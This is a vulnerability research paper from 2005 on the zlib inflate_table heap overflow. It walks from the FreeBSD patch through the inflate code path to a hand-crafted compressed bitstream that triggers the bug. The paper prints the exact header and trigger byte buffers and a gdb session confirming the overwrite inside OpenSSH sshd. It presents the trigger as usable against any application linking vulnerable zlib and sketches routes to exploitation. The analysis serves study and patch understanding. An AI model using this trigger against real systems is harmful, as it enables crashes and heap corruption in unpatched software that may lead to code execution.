The zlib inflate_table bug

from patch to playtime

Bas Alberts
July 2005

The recently disclosed vulnerability in the zlib compression library has been turning a lot of heads. Mainly because a good bug in zlib will literally 'hack the planet' (at last!), seeing how the zlib library is pretty much linked into every high profile application out there. Including such heavy hitters as OpenSSH, rsync and CVS. A somewhat outdated list of applications using zlib can be found at www.zlib.net/apps.gz.html.

Because details around this vulnerability have been clouded in a shroud of developer hush-hush, I'll try to explore the path to triggering the vulnerability inside the zlib library in this paper and delve into some possible consequences and approaches to exploiting the bug primitive.

The patch

The first technical details to hit the net were in the unofficial patch provided by the FreeBSD team:

```
Index: lib/libz/inftrees.c
===================================================================
RCS file: /home/ncvs/src/lib/libz/inftrees.c,v
retrieving revision 1.5
diff -u -p -r1.5 inftrees.c
--- lib/libz/inftrees.c 11 May 2005 03:47:48 -0000      1.5
+++ lib/libz/inftrees.c 2 Jul 2005 19:29:56 -0000
@@ -134,7 +134,7 @@ unsigned short FAR *work;
         left -= count[len];
         if (left < 0) return -1;        /* over-subscribed */
     }
-    if (left > 0 && (type == CODES || (codes - count[0] != 1)))
+    if (left > 0 && (type == CODES || max != 1))
         return -1;                      /* incomplete set */

     /* generate offsets into symbol table for each length for sorting */
```

We can draw several conclusions from this patch. First of all we're dealing with inftrees.c's inflate_table() function. Second of all, there is an apparent concern for situations where the 'left' variable is not zero, type is not CODES and max is greater than one. Let's delve into some of the relevant code snippets to see why this is.

Inftrees.c:

```
const char inflate_copyright[] =
   " inflate 1.2.1 Copyright 1995-2003 Mark Adler ";

inflate_table(type, lens, codes, table, bits, work)
codetype type;
unsigned short FAR *lens;
unsigned codes;
code FAR * FAR *table;
unsigned FAR *bits;
unsigned short FAR *work;
{
    unsigned len;               /* a code's length in bits */
    unsigned sym;               /* index of code symbols */
    unsigned min, max;          /* minimum and maximum code lengths */
    unsigned root;              /* number of index bits for root table */
    unsigned curr;              /* number of index bits for current table */
    unsigned drop;              /* code bits to drop for sub-table */
    int left;                   /* number of prefix codes available */
    unsigned used;              /* code entries in table used */
    unsigned huff;              /* Huffman code */
    unsigned incr;              /* for incrementing code, index */
    unsigned fill;              /* index for replicating entries */
    unsigned low;               /* low bits for current root entry */
    unsigned mask;              /* mask for low root bits */
    code this;                  /* table entry for duplication */
    code FAR *next;             /* next available space in table */
    const unsigned short FAR *base;     /* base value table to use */
    const unsigned short FAR *extra;    /* extra bits table to use */
    int end;                    /* use base and extra for symbol > end */

[1]    unsigned short count[MAXBITS+1];    /* number of codes of each length */

    unsigned short offs[MAXBITS+1];     /* offsets in table for each length */
    static const unsigned short lbase[31] = { /* Length codes 257..285 base */
        3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
        35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
    static const unsigned short lext[31] = { /* Length codes 257..285 extra */
        16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
        19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 76, 66};
    static const unsigned short dbase[32] = { /* Distance codes 0..29 base */
        1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
        257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
        8193, 12289, 16385, 24577, 0, 0};
    static const unsigned short dext[32] = { /* Distance codes 0..29 extra */
        16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,
        23, 23, 24, 24, 25, 25, 26, 26, 27, 27,
        28, 28, 29, 29, 64, 64};

[2]    /* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */
    for (len = 0; len <= MAXBITS; len++)
        count[len] = 0;
```

```
    for (sym = 0; sym < codes; sym++)
        count[lens[sym]]++;

[3]    /* bound code lengths, force root to be within code lengths */
    root = *bits;
    for (max = MAXBITS; max >= 1; max--)
        if (count[max] != 0) break;
    if (root > max) root = max;
    if (max == 0) return -1;            /* no codes! */
    for (min = 1; min <= MAXBITS; min++)
        if (count[min] != 0) break;
    if (root < min) root = min;

[4]    /* check for an over-subscribed or incomplete set of lengths */
    left = 1;
    for (len = 1; len <= MAXBITS; len++) {
        left <<= 1;
        left -= count[len];
        if (left < 0) return -1;        /* over-subscribed */
    }
[5]
    if (left > 0 && (type == CODES || (codes - count[0] != 1)))
        return -1;                      /* incomplete set */

    /* generate offsets into symbol table for each length for sorting */
    offs[1] = 0;
    for (len = 1; len < MAXBITS; len++)
        offs[len + 1] = offs[len] + count[len];

[6]    /* sort symbols by length, by symbol order within each length */
    for (sym = 0; sym < codes; sym++)
        if (lens[sym] != 0) work[offs[lens[sym]]++] = (unsigned short)sym;

    /* set up for code type */
    switch (type) {
    case CODES:
        base = extra = work;    /* dummy value--not used */
        end = 19;
        break;
    case LENS:
        base = lbase;
        base -= 257;
        extra = lext;
        extra -= 257;
        end = 256;
        break;
    default:            /* DISTS */
        base = dbase;
        extra = dext;
        end = -1;
    }

    /* initialize state for loop */
    huff = 0;                   /* starting code */
    sym = 0;                    /* starting code symbol */
    len = min;                  /* starting code length */
    next = *table;              /* current table to fill in */

    curr = root;                /* current table index bits */
    drop = 0;                   /* current bits to drop from code for index */
    low = (unsigned)(-1);       /* trigger new sub-table when len > root */
    used = 1U << root;          /* use root table entries */
```

```
    mask = used - 1;            /* mask for comparing low */

    /* check available table space */
    if (type == LENS && used >= ENOUGH - MAXD)
        return 1;

[7]    /* process all codes and make table entries */
    for (;;) {
        /* create table entry */
        this.bits = (unsigned char)(len - drop);
        if ((int)(work[sym]) < end) {
            this.op = (unsigned char)0;
            this.val = work[sym];
        }
        else if ((int)(work[sym]) > end) {
            this.op = (unsigned char)(extra[work[sym]]);
            this.val = base[work[sym]];
        }
        else {
            this.op = (unsigned char)(32 + 64);         /* end of block */
            this.val = 0;
        }

[8]        /* replicate for those indices with low len bits equal to huff */
        incr = 1U << (len - drop);
        fill = 1U << curr;
        do {
            fill -= incr;
            next[(huff >> drop) + fill] = this;
        } while (fill != 0);

        /* backwards increment the len-bit code huff */
        incr = 1U << (len - 1);
        while (huff & incr)
            incr >>= 1;
        if (incr != 0) {
            huff &= incr - 1;
            huff += incr;
        }
        else
            huff = 0;

        /* go to next symbol, update count, len */
       sym++;
        if (--(count[len]) == 0) {
            if (len == max) break;
            len = lens[work[sym]];
        }

        /* create new sub-table if needed */
        if (len > root && (huff & mask) != low) {
            /* if first time, transition to sub-tables */
            if (drop == 0)
                drop = root;

            /* increment past last table */
            next += 1U << curr;

            /* determine length of next table */
            curr = len - drop;
            left = (int)(1 << curr);
            while (curr + drop < max) {
```

```
                left -= count[curr + drop];
                if (left <= 0) break;
                curr++;
                left <<= 1;
            }

            /* check for enough space */
            used += 1U << curr;
            if (type == LENS && used >= ENOUGH - MAXD)
                return 1;

            /* point entry in root table to sub-table */
            low = huff & mask;
            (*table)[low].op = (unsigned char)curr;
            (*table)[low].bits = (unsigned char)root;
            (*table)[low].val = (unsigned short)(next - *table);
        }
    }

[9]    /*
       Fill in rest of table for incomplete codes.  This loop is similar to the
       loop above in incrementing huff for table indices.  It is assumed that
       len is equal to curr + drop, so there is no loop needed to increment
       through high index bits.  When the current sub-table is filled, the loop
       drops back to the root table to fill in any remaining entries there.
     */
    this.op = (unsigned char)64;                /* invalid code marker */
    this.bits = (unsigned char)(len – drop);
    this.val = (unsigned short)0;
    while (huff != 0) {
        /* when done with sub-table, drop back to root table */
        if (drop != 0 && (huff & mask) != low) {
            drop = 0;
            len = root;
            next = *table;
            curr = root;
            this.bits = (unsigned char)len;
        }

        /* put invalid code marker in table */
        next[huff >> drop] = this;

        /* backwards increment the len-bit code huff */
        incr = 1U << (len - 1);
        while (huff & incr)
            incr >>= 1;
        if (incr != 0) {
            huff &= incr - 1;
            huff += incr;
        }
        else
            huff = 0;
    }

    /* set return parameters */
    *table += used;
    *bits = root;
    return 0;
}
```

Cause for concern

So we've established from the patch that the concern is with situations where codes-count[0] == 1, where left > 0 and max > 1. To understand why this is, we'll first have to take note of a couple of things in the code. At [1] we see that count has been defined to be an array of MAXBITS + 1 shorts, where MAXBITS is 15. Because we're interested in setting up a situation where codes-count[0] == 1, but max > 1, and left > 0, we have to explore how count[] is set, how max is determined , and how the left value plays into this.

At [2] we can see that, after count is initialized to zero values, the count array members are influenced via a loop in which count[lens [sym]]++ is called. So to, for example, increment count[0], one would set lens[n] = 0, and to increment count[0] again, one would set lens [n+1] to 0, and so forth and so on. So if the codes value is 30, to have count[0] set to codes-1 (ie: 29), would mean wanting 29 zeroes in the lens array. Now take note of the fact that because the loop is for(sym = 0; sym < codes; sym ++), we have codes amount of iterations at our disposal, not codes-1. This means that we can increment another value in the count array, even after setting count[0] to equal codes-1.

At [3] we can then see how max is set from count[], basically a decrementing loop starting at MAXBITS (15) indexes into count until count[max] != 0, this is then the max value. So if count[15] != 0, max is set to 15. Following this is a loop that sets a min value in a similar fashion, but this time it increments from index 1 upwards, so the first count[i] that != 0 is the min value.

Now take our example codes value of 30 again. Say we have full control over the variables in the lens[] array. This means we have full control over the count[] array, and consequently we have full control over the max value within a 1<=MAXBITS range. To get a count[0] that is codes-1 and a count[15] that != zero, we would want to have a lens[] array that looks like {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 15}. So codes-1 zeroes, and one 15. Because of the min/max loops both starting and stopping above count [0], in this example min, max, and the root value in [3] would be set to 15.

So following that, we now have a min/max/root of 15. And we arrive at [4] where the left value is set. This loop goes from len <= MAXBITS, where len starts at 1 and left is inited to 1. so 15 times left <<= 1. Because our proposed count[] array has only zeroes until count[15] (which was incremented to 1), the left -= count[len], does little to affect the outcome of the shift of the left value, only at count[15] is there a subtraction of 1. This means left ends up as (1<<15)-1, which is 32767.

We then come to [5], which is the line we saw patched in the FreeBSD team's zlib patch, and which started this little journey in the first place. So to pass this check we don't want to be of type CODES. This means triggering this, so far supposed, bug in a CODES inflate_table is impossible. But if we're not of type CODES we'll merrily pass this check, because even though our left is huge, we've satisfied the codes-count[0] == 1 check with our theoretical count[]. At [6] we find a snippet of code which will become relevant once we move to a real life trigger of this bug, but is not yet relevant in our theoretical exploration of the bug primitive.

Arriving at point [7] in inflate_table, we encounter our first possible write situation at point [8], but after some careful consideration it becomes apparent that our root/min/max of 15 do us little good here. Even though the fill offset for the index into next[] is set from curr (which was initialised from root, ie: 15) as fill = 1<<curr, the incr value is set from incr = 1<<(len-drop), where drop is initialised to be 0, and len is set from min (ie: also 15). So the result is that incr and fill are initialized to the same value. Because there is a fill -= incr before the write into next[], there is no offsetting out of bounds (or if there is, I missed it ;)). Following that is a lot of bit masturbation of which the details aren't really relevant for us (yet).

The next possible writes occur in the loop at [9], which fills a table with invalid code markers, for incomplete code sets. It does this as next[huff >> drop] = this. Where this is a struct holding a short, char, and another char. The first short is inited to 0, the following char is inited to len – drop, ie: 15/0x0f in our case, and the second char is set to 64/0x40. So the write primitive here is basically next[i] = 0x00000F40, which is a very limited amount of control over what to write. On closer examination of this loop, it becomes apparent that a len value of 15 will cause a looped write of next[i] = 0x00000F40, where i indexes way outside of next's bounds, consequently overwriting a proverbial crapload of adjacent memory to next, which it turns out is a heap based array. This means possible paths to exploitation include overwriting existing variables to trigger another bug, overwriting memory allocation control structures to possibly trigger exploitable situations, or partially overwriting function pointers to possibly redirect execution directly.

That means we have found our bug, in theory. We've defined the initial conditions needed to trigger the bug, and we've examined some possible paths to exploiting it. Because of the limited nature of the write value, it becomes apparent that exploiting this bug will be extremely dependant on the application using zlib in question.

Follow the yellow brick road

Now that we've defined the bug, we'll have to find a way to reach it in a real life situation. That means crafting a path through the codebase to reach an inflate_table call that is suitable for exploitation. Once we've carved such a path, then we can start thinking about crafting an evil zlib deflated bitstream to actually trigger the bug.

We've already established that to trigger this bug, we can't use an inflate_table call of type CODES, after some examination of inflate.c that leaves us with type LENS and type DISTS, because of a check on available space in type LENS tables, which could possibly interfere with our fun, we'll opt for triggering with an inflate_table call of type DISTS. Now that we now what we want to reach, we'll have to carve a path through inflate.c to actually reach our desired code, for ease of reading I've left out most of the irrelevant code snippets, and you can follow the path I've chosen through the following:

```
inflate.c:inflate()

[1] 2 header bytes are pulled in from the input stream and get checked with:

...
            ((BITS(8) << 8) + (hold >> 8)) % 31) {

XXX: the result here needs to be 0

...
            if (BITS(4) != Z_DEFLATED) {

XXX: the last 4 bits of our header need to == Z_DEFLATED

...


[2] The following drops the last 4 bits from hold, the value into which zlib
pulls input stream bits, and checks the next 4 bits in our header, we need to
pass this:

...

            DROPBITS(4);
            if (BITS(4) + 8 > state->wbits) {
                strm->msg = (char *)"invalid window size";
                state->mode = BAD;
                break;
            }

            strm->adler = state->check = adler32(0L, Z_NULL, 0);
            state->mode = hold & 0x200 ? DICTID : TYPE;
            INITBITS();

XXX: INITBITS set the hold value to 0, and the bit counter to 0, we're now done
with our header
```

...

[3] The state->mode was auto-set to TYPE, fast forward to the type case in our main inflate case-switch

...

```
        case TYPE:
            //printf( "state->mode is TYPE\n");
            if (flush == Z_BLOCK) goto inf_leave;
        case TYPEDO:
            //printf( "state->mode is TYPEDO\n");
            if (state->last) { // ??? que pasa
                BYTEBITS();
                state->mode = CHECK;
                break;
            }
            NEEDBITS(3);
```

XXX: The NEEDBITS macro ensures there's n bits available in hold, and pulls in bits if needed, updating the bits counter. In this case bits is now set to 8 and a byte is pulled into hold, because INITBITS had inited us to 0

...

```
            state->last = BITS(1); // set state last to last bit of hold
            DROPBITS(1);
```

XXX: 1 bit dropped from hold, and switch on the last 2 bits from hold

```
            switch (BITS(2)) {
            case 0:                             /* stored block */
                Tracev((stderr, "inflate:     stored block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = STORED;
                break;
            case 1:                             /* fixed block */
                fixedtables(state);
                Tracev((stderr, "inflate:     fixed codes block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = LEN;              /* decode codes */
                break;
```

XXX: we want it to switch to this case, so that state->mode will be set to type TABLE

```
            case 2:                             /* dynamic block */
                Tracev((stderr, "inflate:     dynamic codes block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = TABLE;

                break;
            case 3:
                strm->msg = (char *)"invalid block type";
                state->mode = BAD;
            }

            DROPBITS(2);
            break;
```

XXX: 2 BITS DROPPED FROM HOLD, 5 BITS LEFT IN HOLD

```
...
```

[4] state->mode is now set to TABLE, fast forward to TABLE

```
...
        case TABLE:

            NEEDBITS(14);
```

XXX: check hold, see if it needs to update, because bits is at 5, 2 more bytes are pulled in and bits is now at 21

```
            state->nlen = BITS(5) + 257;
            DROPBITS(5);
```

XXX: state->nlen was set from our input, 5 bits dropped, bits is at 16

```
            state->ndist = BITS(5) + 1;
            DROPBITS(5);
```

XXX: state->ndist was set from our input, 5 bits dropped, bits is at 11

```
            state->ncode = BITS(4) + 4;
            DROPBITS(4);
```

XXX: state->ncode was from our input, 4 bits dropped, bits is at 7

```
#ifndef PKZIP_BUG_WORKAROUND
            if (state->nlen > 286 || state->ndist > 30) {
                strm->msg = (char *)"too many length or distance
symbols";
                state->mode = BAD;
                break;
            }
#endif
            Tracev((stderr, "inflate:       table sizes ok\n"));
            state->have = 0;
            state->mode = LENLENS;

...
```

[5] state->mode is now LENLENS

```
...

        case LENLENS:
            while (state->have < state->ncode) {
```

XXX: already enough bits in hold for 2 iterations (7) the 3rd iteration pulls in 1 byte

```
                NEEDBITS(3);
                state->lens[order[state->have++]] = (unsigned short)BITS(3);
                DROPBITS(3);
```

XXX: 3 bits dropped from hold here

```
            }
            while (state->have < 19)
                state->lens[order[state->have++]] = 0;
            state->next = state->codes;
            state->lencode = (code const FAR *)(state->next);
```

```
            state->lenbits = 7;
```

XXX: we can't trigger here because type CODES is checked when left > 0

```
            ret = inflate_table(CODES, state->lens, 19, &(state->next),
                                &(state->lenbits), state->work);
            if (ret) {
                strm->msg = (char *)"invalid code lengths set";
                state->mode = BAD;
                break;
            }
            Tracev((stderr, "inflate:       code lengths ok\n"));
            state->have = 0;
            state->mode = CODELENS;

        case CODELENS:

            while (state->have < state->nlen + state->ndist) {
                int count = 0;

                for (;;) {
```

[6] this will be important for real life trigger crafting, we need to have some control over state->lenbits to be able to index this.vals from state->lencode[]

```
                    this = state->lencode[BITS(state->lenbits)];
                    if ((unsigned)(this.bits) <= bits)
                        break;
                    PULLBYTE();
```

XXX: if this.bits needed <= bits, it doesn't pull in a byte

```
                }
                if (this.val < 16) {
```

XXX: check hold value here

```
                    NEEDBITS(this.bits);
                    DROPBITS(this.bits);
```

XXX: lens[] manipulation here, this.vals are crucial to have under control, see [6], a this.val of < 16, will go directly into our lens[] array

```
                   state->lens[state->have++] = this.val;
                }
                   if (this.val == 16) {
                        NEEDBITS(this.bits + 2);
                        DROPBITS(this.bits);
                        if (state->have == 0) {
                            strm->msg = (char *)"invalid bit length repeat";
                            state->mode = BAD;
                            break;
                        }
                        len = state->lens[state->have - 1];
                        copy = 3 + BITS(2);
                        DROPBITS(2);
                    }
                    else if (this.val == 17) {
                        NEEDBITS(this.bits + 3);
                        DROPBITS(this.bits);
```

XXX: a this.val of 17 lets us write BITS(3) + 3 zeroes into our lens[] array

```
                    len = 0;
                    copy = 3 + BITS(3);
                    DROPBITS(3);
                }
                else {
                    NEEDBITS(this.bits + 7);
                    DROPBITS(this.bits);
                    len = 0;
                    copy = 11 + BITS(7);
                    DROPBITS(7);
                }
                if (state->have + copy > state->nlen + state->ndist) {
                    strm->msg = (char *)"invalid bit length repeat";
                    state->mode = BAD;
                    break;
                }
                while (copy--)
                    state->lens[state->have++] = (unsigned short)len;

            }
        }

        /* build code tables */
        state->next = state->codes;
        state->lencode = (code const FAR *)(state->next);
        state->lenbits = 9;
```

XXX: we don't want to trigger here because there is an additional space check on LENS tables that might interfere with our plans

```
        ret = inflate_table(LENS, state->lens, state->nlen, &(state->next),
                            &(state->lenbits), state->work);
        if (ret) {
            strm->msg = (char *)"invalid literal/lengths set";
            state->mode = BAD;
            break;
        }
        state->distcode = (code const FAR *)(state->next);
        state->distbits = 6;
```

[7] THIS IS WHERE WE WANT TO TRIGGER, END OF PATH

```
        ret = inflate_table(DISTS, state->lens + state->nlen, state->ndist,
                        &(state->next), &(state->distbits), state->work);

        if (ret) {
            strm->msg = (char *)"invalid distances set";
            state->mode = BAD;
            break;
        }
        Tracev((stderr, "inflate:       codes ok\n"));
        state->mode = LEN;

...
```

Et voila, we have arrived. So now that we've carved the path we want through the codebase, it's time to have bit intercourse with the zlib algo and craft us a real life trigger.

Pulling the trigger

I'm going to present my trigger in the form of bit patterns, with explanations and referring back to our code path and other relevant code snippets. The real life trigger does require some stamina for staring at bits and relating them to the codebase, but your reward is being able to trigger the bug primitive in any application you want, instead of relying on some 'lucky' file that happens to trigger the crash in say, a png viewer.

First of all we're concerned with the 2 header bytes and passing the checks we noted in the path at [1], the details are gritty and boring so I'll just tell you that a header of “\x68\x81” as the starting two bytes of your stream buffer will survive all the checks, so you can get down to business.

The next 8 bits control state->last, the case 2 switch in [3], and state->nlen. Because we're feeding bits through bytes, you have to realize that we're talking right to left patterns, so even though the natural inclination would be to think left to right from your byte value, you have to reverse your thought, so if state->last is the next bit in the stream, that means the bit that controls state->last is bit 1 in your byte. To illustrate, in these 8 stream bits, it first eats state->last, which is 1 bit, then the case 2 switch, which is 2 bits, then the state->nlen which is 5 bits. So say we want state->last to be 1, case2 to be 2, and state->nlen to be 29, your natural incination would be to think left to right and jot down a pattern like: 1 0 1 1 0 1 1 1, then take your value from that, not considering that you wrote down bit 1 at position bit 8.

So for a more convenient conversion to bytes you want to write them down right to left. In this case 1 1 1 0 1 1 0 1 which means a byte value of 0xed. I'll follow this convention throughout the explanation of our trigger, so keep in mind to read from right to left when following bit patterns jotted down as byte representations.

Ok so keeping the values we discussed above, our next trigger byte is “\xed”. The next 5 bits control state->ndist, then 4 bits of state->ncode. So if we want an ndist value of 29 (the max allowed), and a ncode value of 15 (the max we can set with 4 bits), you're looking at a bit pattern of 1 1 1 1 1 1 1 0 1 (right to left), which means a byte value of “\xfd” with a carry of 1 bit into the next byte.

Path wise, we're now at [5] and we get to craft our first lens[] array from BITS(3) values. We have to craft 19 lens values, because our state->ncode is 19 (15 + 4). Now how we craft this first lens[] array is crucial for the further outcome of our trigger, because it influences

what this.vals we'll have available later on, this means it controls the values we'll be able to set in the lens[] array that is actually fed to the type DISTS inflate_table we want to trigger in.
There are a couple of factors to take into consideration here. First of all, which lens[] is set to our BITS(3) value, is determined by an ordering that goes through the order[] array in the form of state->lens [order[count]] = BITS(3). So lets have a closer look at the order[] array:

```
static const unsigned short order[19] = /* permutation of code lengths */
        {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};
```

So ok, say we want to set lens[1] to 3, that means the 18th BITS(3) value in our bit stream needs to be 3, because order[18-1] == 1, so lens[order[18-1]] == lens[1] (minus one, because the index starts at 0 of course).

Now also take the following into consideration:

```
       /* sort symbols by length, by symbol order within each length */
    for (sym = 0; sym < codes; sym++)
        if (lens[sym] != 0) work[offs[lens[sym]]++] = (unsigned short)sym;
```

This means that any lens[0-codes] value that != 0, will end up as a this.val at our disposal. So say we wanted a this.val of 17 at our disposal, that means writing a non-zero value into lens[17]. Taking the order[] into account, this means setting a value of non-zero at the second BITS(3) value in our stream. Because order[1] is 17. So that lens[order[1]] = BITS(3), translates into lens[17] = BITS(3) translates into lens[17] != zero, translates into 'we have a this.val of 17 at our disposal in our type DISTS lens[]) Confused yet? It gets better.

Because we only really care about the lens[] we build for the type DISTS inflate_table, (which is also fed to the type LENS inflate_table), we want to get the CODES inflate_table to survive without a problem, whilst still providing us with our needed this.vals through the lens[] we crafted for the CODES inflate_table. This also means that the type CODES inflate_table can't have a left that's > 0, which means we have to have a left -= count[index] that sets left to 0.

To be able to craft an evil lens table for the type DISTS inflate_table we want to be able to set at least zeroes and 15. This means getting a this.val of 15 and 17 at the minimum (see [6]). But to be able to survive the checks in both the LENS and CODES inflate_table we have to be able to ensure a left -= count[index] will keep left at 0. Because the LENS inflate_table also uses the 2nd lens[] array we crafted from this.vals, this means we need more than just 0 and 15 this.vals, but

also for example a 1, because if we can set count[1] to 2, that means on the first iteration of the left<<1 loop (see [4] in the inflate_table paste), left will be 2, and 2 minus 2 is 0. Now to complicate things, the original first lens[] array that we still have to craft, is fed directly to the type CODES inflate_table, us having ensured this.vals of 1, 17, and 15 means the CODES count[] array will not be setup to set left to 0, thus failing the if (left > 0 && (type == CODES)) check.

My solution was to set a total of 8 this.vals using a value of 3 at the desired offsets in our bitstream len table. To be specific we get 1, 7, 9, 6, 10, 15, 17, 18 this.vals, where only 15, 17 and 1 really matter to us. By doing this we ensure a count[3] of 8, so in the 2nd iteration, where index is 3, and left has shift to value 8, left becomes 0. Thus surviving the CODES inflate_table.

The bitstream to set up all this looks like this (keep in mind that bit 1 is an ncode rest bit)

```
1 0 1 1 0 0 0 1
0 0 0 0 0 0 0 1
1 1 0 1 1 0 1 1
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
1 1 0 0 0 0 0 0
1 0 1 1 0 0 0 0
0 0 0 0 0 0 0 1
```

It's in byte representation, so to follow the logic, read right to left, starting in the righthand corner. Keep in mind that bit 1, is a rest bit from ncode, and our lens table starts for 19 times 3 bits at bit 2. The last 6 bits are part of the pattern used for the LENS and DISTS lens[] array which I'll explain in a bit (no pun intended). The byte representation of this pattern looks like:

```
“\xb1\x01\xdb\x00\x00\xc0\xb0\x01”
```

We now arrive at [6], our this.vals have been set in the lencode[] array and we can reach them through various offsets, specifically:

```
(gdb) p state->lencode[0].val
$49 = 1
(gdb) p state->lencode[1].val
$50 = 9
(gdb) p state->lencode[2].val
$51 = 6
(gdb) p state->lencode[3].val
$52 = 17
```

```
(gdb) p state->lencode[4].val
$53 = 2
(gdb) p state->lencode[5].val
$54 = 15
(gdb) p state->lencode[6].val
$55 = 7
(gdb) p state->lencode[7].val
$56 = 18
(gdb) p state->lenbits
$57 = 3
(gdb)
```

We can see at [6] that the index into lencode[] is a BITS(3) value that comes from our bitstream. This means we can control the this.vals used, and leveraging this control we can now control the LENS and DISTS lens[] array, the first 286 shorts in the array are used for the LENS inflate_table and the last 30 shorts are used for the DISTS one. We can set lens[i] to 1, 0 (through a this.val of 17) and 15. This is enough for us to build a lens[] that will survive the LENS inflate_table and set up the desired trigger situation of count[0] == codes-1, and count[15] == 1 in our DISTS section of the lens (lens[285-315], starting at 0). So to survive the LENS inflate_table, we want count[1] to be 2, that means setting two 1's in our lens[] array, referring back to lencode[] array, we see that we need an index of 0, to get a this.val of 1. An index of 5 to get a this.val of 15, and an BITS(3) index value of 3 to get a this.val of 17.

Keeping all of the above in mind, we can start to craft the final part of our bitstream, and finally get some real life triggering done. So observing the BITS() and DROPBITS() in section [6] we can conclude that for setting 10 zeroes we'd set a bit pattern of 1 1 1 0 1 1 (right to left), which gives an index of 3 (0 1 1), to get a this.val of 17. This then gets us into the this.val == 17 case, which eats a BITS(3) copy value of 7, adds 3, sets len to 0, and writes len copy times into the lens[] array at the while(copy--) loop. Following similar logic for the other values (keeping in mind that this.vals < 16 don't need copy vals) we arrive at the following bit pattern for the LENS section of our lens[] array. We want to set 2 1's, this means we have to index to lencode[0] twice, which is why the last 6 bits of the previously discussed lens table were set to 0. We want to zero out the rest of the LENS section, so we need 286-2 zeroes. So 28 times 1 1 1 0 1 1 (right to left) and 1 time 0 0 1 0 1 1 (copy val to 1 + 3 == 4). Then for the DISTS section, the crucial one, we want to set one 15, and zero out the rest, the lencode[] index for a this.val of 15 is 5 (1 0 1) followed by this.val=17 zero outs (two of 10, and one of 9).

I'll not bore you with the right to left bit stream pastes, but will just give you the resulting byte buffer instead:

```
"\xfb\xbe\xef"
"\xfb\xbe\xef"
“\xfb\xbe\xef"
"\xfb\xbe\xef"
"\xfb\xbe\xef"
"\xfb\xbe\xef"
"\xfb\xbe\xef"
”\x4b\xf7\x7d\x06”
```

And that's it, we've arrived at [7], and will now trigger the bug primitive of the 0x00000F40 heap overwrite. So now lets jump to gdb and verify our trigger:

The real thing

```
bash-2.05b# gdb ./sshd
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db
library
"/lib/libthread_db.so.1".

(gdb) r -D -ddd -p1234
Starting program: /home/user/sshx/openssh-3.9p1/sshd -D -ddd -p1234
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
debug2: load_server_config: filename /usr/local/etc/sshd_config
debug2: load_server_config: done config len = 188
debug2: parse_server_config: config /usr/local/etc/sshd_config len 188
debug1: sshd version OpenSSH_3.9p1
debug3: Not a RSA1 key file /usr/local/etc/ssh_host_rsa_key.
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug3: Not a RSA1 key file /usr/local/etc/ssh_host_dsa_key.
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: rexec_argv[0]='/home/user/sshx/openssh-3.9p1/sshd'
debug1: rexec_argv[1]='-D'
debug1: rexec_argv[2]='-ddd'
debug1: rexec_argv[3]='-p1234'
debug2: fd 3 setting O_NONBLOCK
debug1: Bind to port 1234 on 0.0.0.0.
Server listening on 0.0.0.0 port 1234.
socket: Address family not supported by protocol
debug3: fd 4 is not O_NONBLOCK
debug1: Server will not fork when running in debugging mode.
debug3: send_rexec_state: entering fd = 7 config len 188
debug3: ssh_msg_send: type 0
```

```
debug3: send_rexec_state: done
debug1: rexec start in 4 out 4 newsock 4 pipe -1 sock 7

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400008b0 in ?? () from /lib/ld-linux.so.2
(gdb) break inflate_table if type == DISTS
(gdb) c
Continuing.

Breakpoint 1, inflate_table (type=DISTS, lens=0x80e39ac, codes=30,
    table=0x80e376c, bits=0x80e3758, work=0x80e39f0) at inftrees.c:107
107         for (len = 0; len <= MAXBITS; len++)
(gdb) x/x table
0x80e376c:      0x080e3c38
(gdb) finish
Run till exit from #0  inflate_table (type=DISTS, lens=0x80e39ac, codes=30,
    table=0x80e376c, bits=0x80e3758, work=0x80e39f0) at inftrees.c:107
0x08079242 in inflate (strm=0x8093760, flush=1) at inflate.c:940
940                 ret = inflate_table(DISTS, state->lens + state->nlen,
state->ndist,
Value returned is $1 = 0
(gdb) x/2x 0x080e3c38
0x80e3c38:      0x00010f10      0x00000f40
(gdb) set $p=(long *)0x080e3c38+4
(gdb) set $i=0
(gdb) while(*$p==0x00000f40)
 >set $p=$p+4
 >set $i=$i+4
 >end
(gdb) p $i
$2 = 32764
(gdb)
```

Conclusion

Obviously exploitability of this zlib bug depends highly on the application in question. And this paper was not intended to give any definitive conclusion on the exploitability of the bug in general. It was however intended to give anyone interested in playing with this vulnerability a straightforward way to trigger and understand the bug primitive. I have appended a bit of C code that constructs the stream you need to trigger the bug primitive. It should be usable against any application that uses a vulnerable zlib, or will be usable with only minor modification (ie: header changes).

So in conclusion, our bug primitive is a heap overwrite with 0x00000X40, where X ranges from 0-F, depending on which bitshift value (ie: max) we chose. Keep in mind that because this is a bitshift the value will drop rapidly, and approach bounds fairly quickly again. To illustrate 1<<15 is 32768, 1<<8 is 256, 1<<2 is 4. Our trigger sets the biggest value possible for the most dramatic results. To set another bit, you'll need to alter your this.val values and bitstream as discussed in the paper.

For questions or comments you can reach me via the usual channels.

Appendix A – the trigger in C

```
